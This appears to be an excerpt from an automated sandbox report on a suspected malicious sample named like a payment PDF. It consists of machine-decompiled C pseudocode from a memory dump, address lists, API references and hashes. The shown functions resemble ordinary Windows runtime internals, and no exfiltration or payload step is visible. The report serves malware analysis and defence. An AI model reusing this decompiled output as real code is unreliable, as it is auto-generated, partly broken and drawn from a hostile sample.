					_t195 = _v76 |  *(_t238 + 0x40);
					_t222 = _v72 |  *(_t238 + 0x44);
					_t234 =  *(_t238 + 0x38);
					_t200 =  *(_t238 + 0x3c);
					_v76 = _t195;
					_v72 = _t222;
					_v84 = _t234;
					_v80 = _t200;
				}
				_v104 = _t195;
				_v100 = _t222;
				if( *((char*)(_t238 + 0xc4)) != 0) {
					_t226 = _v48;
					_v105 = 1;
					if(_v63 <=  *((intOrPtr*)(_t238 + 0xc5))) {
						_v63 =  *((intOrPtr*)(_t238 + 0xc5));
						_t226 = _v48;
					}
					_t196 = _t195 |  *(_t238 + 0xb8);
					_t223 = _t222 |  *(_t238 + 0xbc);
					_t234 = _t234 &  *(_t238 + 0xb0);
					_t200 = _t200 &  *(_t238 + 0xb4);
					_v104 = _t196;
					_v76 = _t196;
					_v100 = _t223;
					_v72 = _t223;
					_v84 = _t234;
					_v80 = _t200;
				}
				_t155 = 0;
				if(_v105 == 0) {
					_v52 = 0;
					_t234 = 0;
					_t200 = 0;
					 *((intOrPtr*)(_t226 + 0x74)) = 0;
					goto L19;
				} else {
					_v52 = 1;
					goto L8;
				}
			}

0x33471059
0x33471063
0x33471069
0x3347106d
0x3347106f
0x33471074
0x33471076
0x3347107a
0x3347107e
0x33471088
0x33471093
0x33471097
0x3347109b
0x3347109b
0x3347109b
0x3347109d
0x334cf1b9
0x334cf1bc
0x334cf1bf
0x334cf1c3
0x334cf1c6
0x334cf1ca
0x334cf1ce
0x334cf1d1
0x334cf1d5
0x334cf1d9
0x334cf255
0x334cf255
0x334cf259
0x33471118
0x3347111c
0x334cf262
0x334cf262
0x334cf268
0x334cf26c
0x334cf26c
0x334cf270
0x00000000
0x00000000
0x334cf27e
0x334cf27f
0x334cf282
0x334cf289
0x00000000
0x00000000
0x00000000
0x334cf28b
0x334cf295
0x334cf29b
0x334cf29f
0x334cf2a3
0x334cf2a7
0x334cf2ab
0x334cf2b5
0x334cf2c0
0x334cf2c4
0x334cf2ca
0x334cf2d4
0x334cf2d8
0x334cf2dc
0x00000000
0x334cf2ed
0x334cf2ef
0x334cf2f2
0x334cf2f5
0x334cf2fc
0x334cf301
0x334cf303
0x334cf306
0x334cf30a
0x334cf30e
0x334cf312
0x00000000
0x00000000
0x334cf323
0x334cf327
0x334cf348
0x334cf34d
0x334cf351
0x334cf354
0x334cf357
0x334cf35c
0x00000000
0x00000000
0x334cf362
0x334cf366
0x334cf366
0x334cf36a
0x334cf378
0x334cf37b
0x334cf383
0x334cf392
0x334cf392
0x334cf3aa
0x334cf3af
0x334cf3b7
0x334cf3bd
0x334cf3ca
0x334cf3cd
0x334cf3d6
0x334cf3da
0x334cf3ed
0x334cf3f2
0x334cf3f2
0x334cf3f8
0x334cf3fb
0x334cf400
0x334cf404
0x334cf408
0x334cf40c
0x3347112a
0x3347112a
0x3347112d
0x33471133
0x33471153
0x33471159
0x33471159
0x33471163
0x33471164
0x33471165
0x33471170
0x33471170
0x334cf329
0x334cf32d
0x334cf32d
0x334cf32e
0x334cf331
0x334cf335
0x334cf339
0x00000000
0x334cf33e
0x334cf2dc
0x33471122
0x33471122
0x33471126
0x00000000
0x33471126
0x334710a3
0x334710a6
0x334710a8
0x334710ac
0x334710b3
0x334cf1e1
0x334cf1e5
0x334cf1e9
0x334710b9
0x334710b9
0x334710bc
0x334710c5
0x334710c7
0x334710c7
0x334710d3
0x334710d6
0x334710d9
0x334710dc
0x334710df
0x334710e3
0x334710e7
0x334710eb
0x334710eb
0x334710f6
0x334710fa
0x334710fe
0x334cf1fc
0x334cf200
0x334cf205
0x334cf20d
0x334cf211
0x334cf211
0x334cf215
0x334cf21b
0x334cf221
0x334cf227
0x334cf22d
0x334cf231
0x334cf235
0x334cf239
0x334cf23d
0x334cf241
0x334cf241
0x33471104
0x3347110a
0x334cf24a
0x334cf24e
0x334cf250
0x334cf252
0x00000000
0x33471110
0x33471110
0x00000000
0x33471110

APIs

RtlDebugPrintTimes.NTDLL ref: 33471153

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: e88e3f58726f9b5cc9a87087c05f98fea7194e3a63afcbc0d7dbec90ac34e79c
Instruction ID: 3f2c4861b657e7522744e677fd45cb88c2a5ab75f527b352b5e02ed07bfafaa6
Opcode Fuzzy Hash: e88e3f58726f9b5cc9a87087c05f98fea7194e3a63afcbc0d7dbec90ac34e79c
Instruction Fuzzy Hash: F7B113B96083809FD354CF28C480A5AFBF1BF88304F184A6EF8998B352D735E945CB46

Uniqueness

Uniqueness Score: -1.00%

Function 33477623 Relevance: 1.7, APIs: 1, Instructions: 179
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E33477623(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				intOrPtr _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				char* _t69;
				intOrPtr _t71;
				intOrPtr _t74;
				intOrPtr _t75;
				signed int _t81;
				signed int _t82;
				signed int _t89;
				signed int _t90;
				void* _t97;
				intOrPtr _t99;
				intOrPtr _t101;
				intOrPtr _t102;
				intOrPtr _t113;
				intOrPtr _t119;
				intOrPtr _t120;
				intOrPtr _t130;
				intOrPtr _t132;
				signed int _t133;
				signed int _t135;
				intOrPtr _t138;
				intOrPtr _t141;
				intOrPtr _t142;
				intOrPtr _t143;
				intOrPtr _t144;
				intOrPtr _t145;
				intOrPtr _t146;
				void* _t160;

				_t145 = __edx;
				_t138 = __ecx;
				_v32 = __edx;
				_v28 = __ecx;
				if(L33483C40() != 0) {
					_t69 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				} else {
					_t69 = 0x7ffe0386;
				}
				if( *_t69 != 0) {
					L33544F7C(((0 | _a4 != 0x00000000) - 0x00000001 & 0x00000048) + 8 + _t145, _t138);
				}
				goto L3;
				do {
					do {
						L3:
						_t71 =  *0x335667f0; // 0x0
						_t130 =  *0x335667f4; // 0x0
						_v20 = _t71;
						_v8 = _t130;
						_v16 =  *0x7FFE03B4;
						_v12 =  *0x7ffe03b0;
						while(1) {
							_t146 =  *0x7ffe000c;
							_t99 =  *0x7FFE0008;
							if(_t146 ==  *0x7FFE0010) {
								goto L5;
							}
							asm("pause");
						}
						L5:
						_t132 = _v8;
						_t141 = _v16;
						_t74 =  *0x7ffe03b0;
						_t113 =  *((intOrPtr*)(0x7ffe03b4));
						_v24 = _t74;
					} while (_v12 != _t74 || _t141 != _t113);
					_t75 =  *0x335667f0; // 0x0
					_t142 =  *0x335667f4; // 0x0
					_v16 = _t142;
					_t143 = _v20;
				} while (_t143 != _t75 || _t132 != _v16);
				asm("sbb esi, ecx");
				_t101 = _t99 - _v24 - _t143;
				_t144 = _v28;
				asm("sbb esi, edx");
				_t20 = _t144 + 0x90; // 0x90
				L33482330(_t20, _t20);
				 *(_t144 + 0xde) = 0;
				if(( *(_t144 + 0xde) & 0x00000004) != 0) {
					_t60 = _t144 + 0x90; // 0x90
					 *(_t144 + 0xd8) = 0;
					 *((intOrPtr*)(_t144 + 0xc8)) = 0;
					 *((intOrPtr*)(_t144 + 0xcc)) = 0;
					 *((intOrPtr*)(_t144 + 0xd0)) = 0;
					E334824D0(_t60);
					_t81 = L335449D2( *((intOrPtr*)(_t144 + 0xd0)));
					L20:
					_t82 = _t81 | 0xffffffff;
					asm("lock xadd [edi], eax");
					if(_t82 == 0) {
						 *0x335691e0(_t144);
						return  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t144 + 4))))))();
					}
					return _t82;
				}
				if( *((intOrPtr*)(_t144 + 0xdd)) != 0) {
					 *((intOrPtr*)(_t144 + 0xc8)) = 0;
					 *((intOrPtr*)(_t144 + 0xcc)) = 0;
					if(L334ACC67() != 0) {
						goto L18;
					}
					goto L19;
				} else {
					_t133 =  *(_t144 + 0xd8);
					if(_t133 != 0) {
						if(_a4 != 0) {
							_t119 = _t101;
							_v8 = _t146;
						} else {
							_t119 =  *((intOrPtr*)(_t144 + 0xc8));
							_v8 =  *((intOrPtr*)(_t144 + 0xcc));
						}
						_t89 = _t133;
						_t135 = _t89 * 0x2710 >> 0x20;
						_t90 = _t89 * 0x2710;
						_t120 = _t119 + _t90;
						_v12 = _t90;
						_t91 = _v8;
						asm("adc eax, edx");
						_v24 = 0x2710;
						_v28 = _t120;
						_v8 = _t91;
						 *((intOrPtr*)(_t144 + 0xc8)) = _t120;
						 *((intOrPtr*)(_t144 + 0xcc)) = _t91;
						_t160 = _t91 - _t146;
						if(_t160 <= 0 && (_t160 < 0 || _t120 <= _t101)) {
							asm("sbb eax, [ebp-0x4]");
							_t97 = E334B6540(_t101 - _v28, _t146, _v12, _t135);
							_t91 = _v24;
							asm("sbb eax, edx");
							 *((intOrPtr*)(_t144 + 0xc8)) = _v12 - _t97 + _t101;
							asm("adc eax, esi");
							 *((intOrPtr*)(_t144 + 0xcc)) = _v24;
						}
						asm("lock inc dword [edi]");
						_t102 = _v32;
						L33482330(_t91, _t102);
						_t43 = _t102 + 0x50; // 0x50
						L334779D1(_t43, _t144);
						_t44 = _t102 + 0x50; // 0x50
						E334777F9(_t44, 0);
						E334824D0(_t102);
					}
					L18:
					E33481BE7(_t144);
					L19:
					_t45 = _t144 + 0x90; // 0x90
					_t81 = E334824D0(_t45);
					goto L20;
				}
			}

0x3347762e
0x33477630
0x33477632
0x33477635
0x3347763f
0x334d171a
0x33477645
0x33477645
0x33477645
0x3347764d
0x334d1737
0x334d1737
0x00000000
0x33477653
0x33477653
0x33477653
0x33477653
0x3347765d
0x33477663
0x33477666
0x33477673
0x33477676
0x3347767f
0x3347767f
0x33477681
0x33477687
0x00000000
0x00000000
0x334777f2
0x334777f2
0x3347768d
0x3347768d
0x33477695
0x33477698
0x3347769a
0x3347769d
0x334776a0
0x334776a9
0x334776ae
0x334776b4
0x334776b7
0x334776ba
0x334776c6
0x334776c8
0x334776ca
0x334776cd
0x334776cf
0x334776d6
0x334776e3
0x334776eb
0x334d1747
0x334d174e
0x334d1754
0x334d175a
0x334d1760
0x334d1766
0x334d176d
0x3347778a
0x3347778a
0x3347778d
0x33477791
0x334d177f
0x00000000
0x334d1785
0x3347779b
0x3347779b
0x334776f7
0x334777cf
0x334777d5
0x334777e4
0x00000000
0x00000000
0x00000000
0x334776fd
0x334776fd
0x33477705
0x3347770a
0x334777e8
0x334777ea
0x33477710
0x33477716
0x3347771c
0x3347771c
0x3347771f
0x33477726
0x33477726
0x33477728
0x3347772a
0x3347772d
0x33477730
0x33477732
0x33477735
0x33477738
0x3347773b
0x33477741
0x33477747
0x33477749
0x334777a9
0x334777ae
0x334777b8
0x334777bb
0x334777bf
0x334777c5
0x334777c7
0x334777c7
0x33477751
0x33477754
0x33477758
0x3347775f
0x33477762
0x33477769
0x3347776c
0x33477772
0x33477772
0x33477777
0x33477779
0x3347777e
0x3347777e
0x33477785
0x00000000
0x33477785

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 093ff443baa990fe0e63aa67af50b1af42eb179112c7ea3ade1ea3b0e6f5cdb0
Instruction ID: 0832abc0ca903a1e8600f0ea0d86cd5a00fe19ce03b6bbe44233433deee28aa0
Opcode Fuzzy Hash: 093ff443baa990fe0e63aa67af50b1af42eb179112c7ea3ade1ea3b0e6f5cdb0
Instruction Fuzzy Hash: 23615375E00606AFDB08CF78C580AEDFBB5BF48344F64816EE429A7351DB34A9428BD4

Uniqueness

Uniqueness Score: -1.00%

Function 3347254C Relevance: 1.6, APIs: 1, Instructions: 119
timeCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E3347254C(void* __ebx, intOrPtr __ecx, signed int __edi, void* __esi, void* __eflags) {
				signed int _v4;
				intOrPtr _v16;
				intOrPtr _v128;
				intOrPtr* _v132;
				char _v180;
				intOrPtr _v184;
				signed int _t41;
				void* _t50;
				void* _t61;
				intOrPtr _t66;
				signed int _t67;
				signed int _t68;
				signed int _t69;
				signed int _t75;
				intOrPtr _t76;
				intOrPtr* _t77;
				void* _t78;
				void* _t79;
				signed int _t80;
				signed int _t82;
				signed int _t84;
				intOrPtr* _t85;
				intOrPtr _t89;
				signed int _t90;
				intOrPtr _t92;
				void* _t108;

				_t61 = __ebx;
				_push(0xa8);
				_push(0x3354bbe0);
				L334C7C40(__ebx, __edi, __esi);
				_t89 = __ecx;
				_v184 = __ecx;
				if( *((intOrPtr*)(__ecx + 8)) != 0) {
					L334AC819(__ebx, __ecx, _t78, __edi, __ecx, __eflags);
					_t66 =  *((intOrPtr*)(__ecx + 8));
					_t82 = __edi | 0xffffffff;
					__eflags = _t82;
					asm("lock xadd [ecx], eax");
					if(_t82 == 0) {
						E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)),  *0x33566644, _t66);
					}
				} else {
					_t82 = __edi | 0xffffffff;
				}
				if( *((intOrPtr*)(_t89 + 0x38)) != _t82) {
					_push( *((intOrPtr*)(_t89 + 0x38)));
					L20();
				}
				_t39 =  *((intOrPtr*)(_t89 + 0x5c));
				if( *((intOrPtr*)(_t89 + 0x5c)) == 0) {
					L33482330(_t39, 0x33568a30);
					_v4 = 1;
					_t41 = _t89 + 0x60;
					_t79 =  *_t41;
					_t67 =  *(_t41 + 4);
					__eflags =  *(_t79 + 4) - _t41;
					if( *(_t79 + 4) != _t41) {
						goto L19;
					} else {
						__eflags =  *_t67 - _t41;
						if( *_t67 != _t41) {
							goto L19;
						} else {
							 *_t67 = _t79;
							 *(_t79 + 4) = _t67;
							 *(_t41 + 4) = _t41;
							 *_t41 = _t41;
							_v4 = 0xfffffffe;
							_t50 = L334CFC88();
							goto L10;
						}
					}
				} else {
					L33482330(_t39 + 0x2c, _t39 + 0x2c);
					_v4 = _v4 & 0x00000000;
					_t41 = _t89 + 0x60;
					_t79 =  *_t41;
					_t75 =  *(_t41 + 4);
					if( *(_t79 + 4) != _t41 ||  *_t75 != _t41) {
						L19:
						_push("true");
						_pop(_t68);
						asm("int 0x29");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_push(_t61);
						_push(_t89);
						_t90 = _v4;
						_push(_t82);
						__eflags = _t90;
						if(_t90 != 0) {
							_t41 = _t90 - 0x00000001 | 0x00000007;
							__eflags = _t41 - 0xffffffff;
							if(_t41 != 0xffffffff) {
								__eflags =  *_t90;
								if( *_t90 > 0) {
									__eflags =  *_t90 - 0x7fffffff;
									if( *_t90 != 0x7fffffff) {
										while(1) {
											_t80 =  *_t90;
											__eflags = _t80 - 0x7fffffff;
											if(_t80 == 0x7fffffff) {
												break;
											}
											_t84 = _t80 - 1;
											_t41 = _t80;
											_t68 = _t84;
											asm("lock cmpxchg [esi], ecx");
											__eflags = _t41 - _t80;
											if(_t41 != _t80) {
												continue;
											}
											L27:
											__eflags =  *0x33566910;
											if( *0x33566910 != 0) {
												asm("lock xadd [esi+0xe8], eax");
												_t41 = E3349C000(_t68, "true", "true", 0xbadc99 + _t90, 0);
											}
											__eflags = _t84;
											if(_t84 == 0) {
												__eflags =  *0x33566911;
												_t69 = _t90;
												if(__eflags != 0) {
													_t41 = E334FDA40(0x7fffffff, _t69, _t84, _t90, __eflags);
												} else {
													_t41 = E334692AF(_t69);
												}
											}
											goto L21;
										}
										_t84 = 0x7fffffff;
										goto L27;
									}
								}
							}
						}
						L21:
						return _t41;
					} else {
						 *_t75 = _t79;
						 *(_t79 + 4) = _t75;
						 *(_t41 + 4) = _t41;
						 *_t41 = _t41;
						_v4 = 0xfffffffe;
						_t50 = E33472688(_t89);
						_t76 =  *((intOrPtr*)(_t89 + 0x5c));
						_t108 = _t76 -  *0x33566890; // 0x31407c0
						if(_t108 != 0) {
							__eflags = _t76 -  *0x33566888; // 0x31cc8a8
							if(__eflags != 0) {
								asm("lock xadd [ecx], edi");
								_t87 = _t82 - 1;
								__eflags = _t82 - 1;
								if(__eflags == 0) {
									_t50 = E3346B705(_t61, _t76, _t87, _t89, __eflags);
								}
							} else {
								_t79 = 0x3356688c;
								_t77 = 0x33566888;
								goto L9;
							}
						} else {
							_t79 = 0x33566894;
							_t77 = 0x33566890;
							L9:
							_t50 = E33472712(_t61, _t77, _t79, _t82, _t89, _t108);
						}
						L10:
						_t85 =  *((intOrPtr*)(_t89 + 0x10));
						if(_t85 != 0) {
							L334B8F40( &_v180, 0, 0x98);
							_v132 = _t85;
							_t92 =  *((intOrPtr*)(_t89 + 0x34));
							_v128 = _t92;
							L33476D60( &_v180);
							 *0x335691e0( &_v180, _t92);
							 *_t85();
							_t50 = E334761C3( &_v180, _t79);
						}
						 *[fs:0x0] = _v16;
						return _t50;
					}
				}
			}

0x3347254c
0x3347254c
0x33472551
0x33472556
0x3347255b
0x3347255d
0x33472567
0x33472645
0x3347264a
0x3347264d
0x3347264d
0x33472652
0x33472656
0x334cfc1b
0x334cfc1b
0x3347256d
0x3347256d
0x3347256d
0x33472573
0x33472575
0x33472578
0x33472578
0x3347257d
0x33472582
0x334cfc42
0x334cfc47
0x334cfc4e
0x334cfc51
0x334cfc53
0x334cfc56
0x334cfc59
0x00000000
0x334cfc5f
0x334cfc5f
0x334cfc61
0x00000000
0x334cfc67
0x334cfc67
0x334cfc69
0x334cfc6c
0x334cfc6f
0x334cfc71
0x334cfc78
0x00000000
0x334cfc78
0x334cfc61
0x33472588
0x3347258c
0x33472591
0x33472595
0x33472598
0x3347259a
0x334725a0
0x33472695
0x33472695
0x33472697
0x33472698
0x3347269a
0x3347269b
0x3347269c
0x3347269d
0x3347269e
0x3347269f
0x334726a5
0x334726a6
0x334726a7
0x334726aa
0x334726ab
0x334726ad
0x334726b9
0x334726bc
0x334726bf
0x334726c1
0x334726c4
0x334726cb
0x334726cd
0x334726cf
0x334726cf
0x334726d1
0x334726d3
0x00000000
0x00000000
0x334726d5
0x334726d8
0x334726da
0x334726dc
0x334726e0
0x334726e2
0x00000000
0x00000000
0x334726e4
0x334726e4
0x334726eb
0x334cfc96
0x334cfcb3
0x334cfcb3
0x334726f1
0x334726f3
0x334726f5
0x334726fc
0x334726fe
0x3347270b
0x33472700
0x33472700
0x33472700
0x334726fe
0x00000000
0x334726f3
0x33472707
0x00000000
0x33472707
0x334726cd
0x334726c4
0x334726bf
0x334726af
0x334726b3
0x334725ae
0x334725ae
0x334725b0
0x334725b3
0x334725b6
0x334725b8
0x334725bf
0x334725c4
0x334725c7
0x334725cd
0x33472661
0x33472667
0x33472678
0x3347267c
0x3347267c
0x3347267d
0x334cfc33
0x334cfc33
0x33472669
0x33472669
0x3347266e
0x00000000
0x3347266e
0x334725d3
0x334725d3
0x334725d8
0x334725dd
0x334725dd
0x334725dd
0x334725e2
0x334725e2
0x334725e7
0x33472607
0x3347260f
0x33472615
0x33472618
0x33472621
0x33472630
0x33472636
0x3347263e
0x3347263e
0x334725ec
0x334725f8
0x334725f8
0x334725a0

APIs

RtlDebugPrintTimes.NTDLL ref: 33472630

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 47ee13476cf6056c58d7851c3687fb8e0b1849f0aa62d3e014b85d8f47e6fd33
Instruction ID: d7717b4f7d56f608039c674889a2914c8208481b61cb0844bb18cc32c83c8ae1
Opcode Fuzzy Hash: 47ee13476cf6056c58d7851c3687fb8e0b1849f0aa62d3e014b85d8f47e6fd33
Instruction Fuzzy Hash: 2E41CDB4902704CFD360DF28D950B89B7F6FF44394F1482AED0669B7A0DB30AA42CB49

Uniqueness

Uniqueness Score: -1.00%

Function 33474779 Relevance: 1.6, APIs: 1, Instructions: 111
timeCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E33474779(signed int __eax, signed int __edx, signed int _a4, intOrPtr _a8, intOrPtr _a12) {
				void* _v0;
				intOrPtr _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t55;
				intOrPtr _t60;
				intOrPtr _t61;
				intOrPtr _t62;
				intOrPtr _t67;
				signed int _t69;
				void* _t73;
				intOrPtr _t74;
				signed int _t76;
				signed int _t79;
				void* _t80;
				intOrPtr* _t84;
				signed int _t88;
				intOrPtr* _t93;
				intOrPtr _t96;
				signed int _t98;
				intOrPtr* _t100;
				void* _t102;

				_t88 = __edx;
				_t55 = __eax;
				_push(_t73);
				_t100 = __edx;
				if((_a4 & 0x00000001) == 0) {
					L17:
					if((_a4 & 0x00000002) != 0) {
						_push("true");
						_t93 = _t100 + 8;
						_pop(_t74);
						do {
							__eflags =  *_t93;
							if( *_t93 != 0) {
								E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *_t93);
							}
							_t93 = _t93 + 4;
							_t74 = _t74 - 1;
							__eflags = _t74;
						} while (_t74 != 0);
						_t55 = E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t74, _t100);
					}
					return _t55;
				} else {
					_t79 =  *0x335666fc;
					_v12 = _t79;
					if(_t79 >= 1) {
						_t98 = 0x11;
						do {
							asm("bsr eax, edi");
							_t88 = _t98;
							asm("btc edx, eax");
							_v20 = _t88;
							_t55 =  *(_t100 + _t55 * 4 - 8);
							_v16 = _t55;
							if(_t55 != 0) {
								_t55 = _t55 + _t88 * 4 + 4;
								if(_t55 != 0 &&  *_t55 != 0) {
									asm("bsr eax, edi");
									_t85 = _t98;
									asm("btc ecx, eax");
									_t67 =  *((intOrPtr*)(0x335666c4 + _t55 * 4));
									if(_t67 == 0) {
										_t73 = 0;
									} else {
										_t73 = 4 + _t85 * 8 + _t67;
									}
									L334753C0(_t73);
									_t69 =  *((intOrPtr*)(_t73 + 4));
									_v12 = _t69;
									if(_t69 != 0 && _t69 != 0xffffffff) {
										_t88 = _v16;
										_t85 =  *(_t88 + 4 + _v20 * 4);
										if(_t85 != 0) {
											 *0x335691e0(_t85);
											_v8();
											_t72 = _v24;
											 *(_v20 + 4 + _t72 * 4) =  *(_v20 + 4 + _v24 * 4) & 0x00000000;
										}
									}
									_t55 = E334752F0(_t85, _t73);
									_t79 = _v16;
								}
							}
							_t98 = _t98 + 1;
							_t79 = _t79 - 1;
							_v12 = _t79;
						} while (_t79 != 0);
					}
					L33482330(_t55, 0x335666d0);
					_t60 =  *_t100;
					if( *((intOrPtr*)(_t60 + 4)) != _t100) {
						L24:
						_push("true");
						_pop(_t80);
						asm("int 0x29");
						_push(_t80);
						_push(_t73);
						_push(_t100);
						_push(0x335666d0);
						_t96 = _v28;
						_t76 = _t88;
						_t102 = _t80;
						__eflags = _t96;
						if(__eflags != 0) {
							_t61 =  *((intOrPtr*)(_t96 + 0x1c));
						} else {
							_t61 = 0;
							__eflags = 0;
						}
						_push(_a12);
						_push(_a8);
						_push(_t61);
						_push(_t96);
						_t62 = L3347496B(_t76, _t80, _t96, _t102, __eflags);
						__eflags = _t62;
						if(_t62 >= 0) {
							L3347491F( *((intOrPtr*)(_t102 + 0x5c)), 1);
							 *(_t102 + 0x90) =  *(_t102 + 0x90) & 0x00000000;
							 *(_t102 + 0xdd) = _t76;
							__eflags = _t96;
							if(_t96 != 0) {
								 *((intOrPtr*)(_t102 + 0x10)) =  *((intOrPtr*)(_t96 + 0x18));
							}
							__eflags =  *((intOrPtr*)(_t102 + 8));
							if(__eflags != 0) {
								E334A73B3(_t76, _t102, _t96, _t102, __eflags);
							}
							_t62 = 0;
							__eflags = 0;
						}
						return _t62;
					} else {
						_t84 =  *((intOrPtr*)(_t100 + 4));
						if( *_t84 != _t100) {
							goto L24;
						} else {
							 *_t84 = _t60;
							 *((intOrPtr*)(_t60 + 4)) = _t84;
							_t55 = E334824D0(0x335666d0);
							goto L17;
						}
					}
				}
			}

0x33474779
0x33474779
0x33474788
0x3347478b
0x3347478d
0x3347486a
0x3347486e
0x33474879
0x3347487b
0x3347487e
0x3347487f
0x3347487f
0x33474882
0x334748ab
0x334748ab
0x33474884
0x33474887
0x33474887
0x33474887
0x33474897
0x33474897
0x33474876
0x33474793
0x33474793
0x33474799
0x334747a0
0x334747a8
0x334747a9
0x334747a9
0x334747ac
0x334747ae
0x334747b1
0x334747b5
0x334747b9
0x334747bf
0x334747c4
0x334747c7
0x334747ce
0x334747d1
0x334747d3
0x334747d6
0x334747df
0x334d0144
0x334747e5
0x334747ec
0x334747ec
0x334747ef
0x334747f4
0x334747f7
0x334747fd
0x33474808
0x3347480c
0x33474812
0x33474817
0x3347481d
0x33474821
0x33474829
0x33474829
0x33474812
0x3347482f
0x33474834
0x33474834
0x334747c7
0x33474838
0x33474839
0x3347483c
0x3347483c
0x334747a9
0x3347484c
0x33474851
0x33474856
0x334748b2
0x334748b2
0x334748b4
0x334748b5
0x334748bc
0x334748bd
0x334748be
0x334748bf
0x334748c0
0x334748c3
0x334748c5
0x334748c7
0x334748c9
0x3347491a
0x334748cb
0x334748cb
0x334748cb
0x334748cb
0x334748cd
0x334748d3
0x334748d6
0x334748d7
0x334748d8
0x334748dd
0x334748df
0x334748e7
0x334748ec
0x334748f3
0x334748f9
0x334748fb
0x33474900
0x33474900
0x33474903
0x33474907
0x3347490b
0x3347490b
0x33474910
0x33474910
0x33474910
0x33474917
0x33474858
0x33474858
0x3347485d
0x00000000
0x3347485f
0x3347485f
0x33474862
0x33474865
0x00000000
0x33474865
0x3347485d
0x33474856

APIs

RtlDebugPrintTimes.NTDLL ref: 33474817

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: e65c22374d4745ed18ec387df0145421d5c39c1ff5d782932dcf58050979f980
Instruction ID: cde47f4644718237dafcc428e8b226cf55882988203fb95e864286c4f1e87982
Opcode Fuzzy Hash: e65c22374d4745ed18ec387df0145421d5c39c1ff5d782932dcf58050979f980
Instruction Fuzzy Hash: 954107786003858FD311CF28E894B7AB7E9FF81790F15442DE5A18B3A1DB31D886CB99

Uniqueness

Uniqueness Score: -1.00%

Function 334756E0 Relevance: 1.6, APIs: 1, Instructions: 92
timeCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E334756E0(void* __ecx, intOrPtr _a4, intOrPtr _a8) {
				void* _v36;
				void* _v60;
				void* _t32;
				char* _t35;
				void* _t37;
				char* _t41;
				char* _t52;
				intOrPtr _t60;
				void* _t70;
				signed int _t76;
				signed int _t77;

				_t77 = _t76 & 0xfffffff8;
				_push(__ecx);
				_t73 = _a8;
				_t70 = _a8 - 0x78;
				_t32 = L33483C40();
				_t52 = 0x7ffe0386;
				if(_t32 != 0) {
					_t35 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				} else {
					_t35 = 0x7ffe0386;
				}
				if( *_t35 != 0) {
					E33544B67( *((intOrPtr*)(_t70 + 0x5c)), _t73,  *((intOrPtr*)(_t70 + 0x30)),  *((intOrPtr*)(_t70 + 0x34)),  *((intOrPtr*)(_t70 + 0x3c)));
				}
				_t37 = E33477072(_a4, _t70, 0);
				if(_t37 != 0) {
					if(L33483C40() != 0) {
						_t41 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
					} else {
						_t41 = _t52;
					}
					if( *_t41 != 0) {
						L33544C59( *((intOrPtr*)(_t70 + 0x5c)), _t73,  *((intOrPtr*)(_t70 + 0x30)),  *((intOrPtr*)(_t70 + 0x34)),  *((intOrPtr*)(_t70 + 0x3c)));
					}
					L33476F4C(_t77 + 0x10,  *((intOrPtr*)(_t70 + 0x30)),  *((intOrPtr*)(_t70 + 0x34)),  *((intOrPtr*)(_t70 + 0x3c)));
					_t60 = _a4;
					 *((intOrPtr*)(_t60 + 0x30)) =  *((intOrPtr*)(_t70 + 0x30));
					 *((intOrPtr*)(_t60 + 0x34)) =  *((intOrPtr*)(_t70 + 0x34));
					 *0x335691e0(_t60,  *((intOrPtr*)(_t70 + 0x34)), _t70);
					 *((intOrPtr*)( *((intOrPtr*)(_t70 + 0x30))))();
					if(L33483C40() != 0) {
